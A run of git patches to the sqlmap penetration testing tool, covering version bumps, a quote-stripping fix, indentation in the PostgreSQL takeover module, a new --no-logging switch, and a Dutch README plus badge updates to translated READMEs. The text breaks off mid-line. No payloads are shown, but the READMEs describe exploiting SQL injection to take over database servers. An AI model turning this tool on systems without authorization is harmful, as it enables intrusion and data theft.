17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Mar 2022 15:31:13 +0100 Subject: [PATCH 016/599] Fixes #5040 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0caa633da60..9b6fc7cb0d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.16" +VERSION = "1.6.3.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index feafa09159e..b1c5a21662d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -955,7 +955,7 @@ def _format_action_invocation(self, action): argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) # Reference: https://unicode-table.com/en/sets/quotation-marks/ - argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") + argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") if argv[i] == "-hh": argv[i] = "-h" From 582bb2fec960db825478a54c0aabbd7ba551f1b8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Mar 2022 15:38:15 +0100 Subject: [PATCH 017/599] Fixes #5039 --- lib/core/settings.py | 2 +- plugins/dbms/postgresql/takeover.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b6fc7cb0d4..e68bb0bd9ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.17" +VERSION = "1.6.3.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 255b08e8b58..b4a576a122d 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -114,8 +114,8 @@ def copyExecCmd(self, cmd): output = flattenValue(output) output = filterNone(output) - if not isNoneValue(output): - output = os.linesep.join(output) + if not isNoneValue(output): + output = os.linesep.join(output) self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName inject.goStacked(self._cleanupCmd) From e2f48a934637b49252d51a422ea570701920ad1f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Mar 2022 19:10:46 +0100 Subject: [PATCH 018/599] Implementing switch --no-logging (#4484) --- lib/core/dump.py | 25 +++++++++++++++---------- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 6 +++++- 5 files changed, 25 insertions(+), 12 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 520ab477961..79a7976f2e3 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -79,18 +79,19 @@ def _write(self, data, newline=True, console=True, content_type=None): elif console: dataToStdout(text) - multiThreadMode = kb.multiThreadMode - if multiThreadMode: - self._lock.acquire() + if self._outputFP: + multiThreadMode = kb.multiThreadMode + if multiThreadMode: + self._lock.acquire() - try: - self._outputFP.write(text) - except IOError as ex: - errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) - raise SqlmapGenericException(errMsg) + try: + self._outputFP.write(text) + except IOError as ex: + errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) - if multiThreadMode: - self._lock.release() + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True @@ -102,6 +103,10 @@ def flush(self): pass def setOutputFile(self): + if conf.noLogging: + self._outputFP = None + return + self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index a8626de3028..ef5d413f695 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -243,6 +243,7 @@ "dependencies": "boolean", "disableColoring": "boolean", "listTampers": "boolean", + "noLogging": "boolean", "offline": "boolean", "purge": "boolean", "resultsFile": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index e68bb0bd9ae..bed5e4e305a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.18" +VERSION = "1.6.3.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b1c5a21662d..6409fea28a0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -745,6 +745,9 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") + miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", + help="Disable logging to a file") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") diff --git a/sqlmap.conf b/sqlmap.conf index cc724d3a08d..9504b7b4632 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -833,10 +833,14 @@ dependencies = False # Valid: True or False disableColoring = False -# Display list of available tamper scripts +# Display list of available tamper scripts. # Valid: True or False listTampers = False +# Disable logging to a file. +# Valid: True or False +noLogging = False + # Work in offline mode (only use session data) # Valid: True or False offline = False From 68c2180c593de8b7162bd3e9aca374de6a5cae67 Mon Sep 17 00:00:00 2001 From: Jerry Date: Thu, 31 Mar 2022 23:20:25 +0200 Subject: [PATCH 019/599] Added Dutch translation. (#5055) * Added Dutch translation * Fixed typo * Consistency --- README.md | 1 + doc/translations/README-nl-NL.md | 50 ++++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+) create mode 100644 doc/translations/README-nl-NL.md diff --git a/README.md b/README.md index 6424bf94554..b888acc7ab2 100644 --- a/README.md +++ b/README.md @@ -71,3 +71,4 @@ Translations * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md new file mode 100644 index 00000000000..4aedafc33e7 --- /dev/null +++ b/doc/translations/README-nl-NL.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. + +Screenshots +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. + +Installatie +---- + +Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. + +Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. + +Gebruik +---- + +Om een lijst van basisopties en switches te krijgen gebruik: + + python sqlmap.py -h + +Om een lijst van alle opties en switches te krijgen gebruik: + + python sqlmap.py -hh + +Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. +Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues +* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki +* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file From 548d98e0af0ba62ffb9d0ae7cf75a4d1607d8fff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Mar 2022 23:22:51 +0200 Subject: [PATCH 020/599] Minor style update --- README.md | 2 +- doc/translations/README-bg-BG.md | 4 ++-- doc/translations/README-de-GER.md | 4 ++-- doc/translations/README-es-MX.md | 4 ++-- doc/translations/README-fa-IR.md | 2 +- doc/translations/README-fr-FR.md | 4 ++-- doc/translations/README-gr-GR.md | 4 ++-- doc/translations/README-hr-HR.md | 4 ++-- doc/translations/README-id-ID.md | 4 ++-- doc/translations/README-it-IT.md | 4 ++-- doc/translations/README-ja-JP.md | 4 ++-- doc/translations/README-ko-KR.md | 4 ++-- doc/translations/README-nl-NL.md | 6 +++--- doc/translations/README-pl-PL.md | 4 ++-- doc/translations/README-pt-BR.md | 4 ++-- doc/translations/README-rs-RS.md | 4 ++-- doc/translations/README-ru-RUS.md | 4 ++-- doc/translations/README-tr-TR.md | 4 ++-- doc/translations/README-uk-UA.md | 4 ++-- doc/translations/README-vi-VN.md | 2 +- doc/translations/README-zh-CN.md | 4 ++-- lib/core/settings.py | 2 +- 22 files changed, 41 insertions(+), 41 deletions(-) diff --git a/README.md b/README.md index b888acc7ab2..2c85d793741 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,7 @@ Translations * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) @@ -71,4 +72,3 @@ Translations * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) -* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index 8b38981d613..cc10870af1c 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-GER.md index 40deea482fa..b279c87abbf 100644 --- a/doc/translations/README-de-GER.md +++ b/doc/translations/README-de-GER.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index f342adb63b0..a78dee2d41d 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index 0b32998f6d2..743a5244aff 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 15ff042cd61..c9eb5967f5f 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index d04dfe28618..b33b622b5c1 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 71e7375b55f..c80e0ce78b8 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index edff7874e48..02b7f378984 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index d1526675739..1ac62cf562f 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ -r# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build 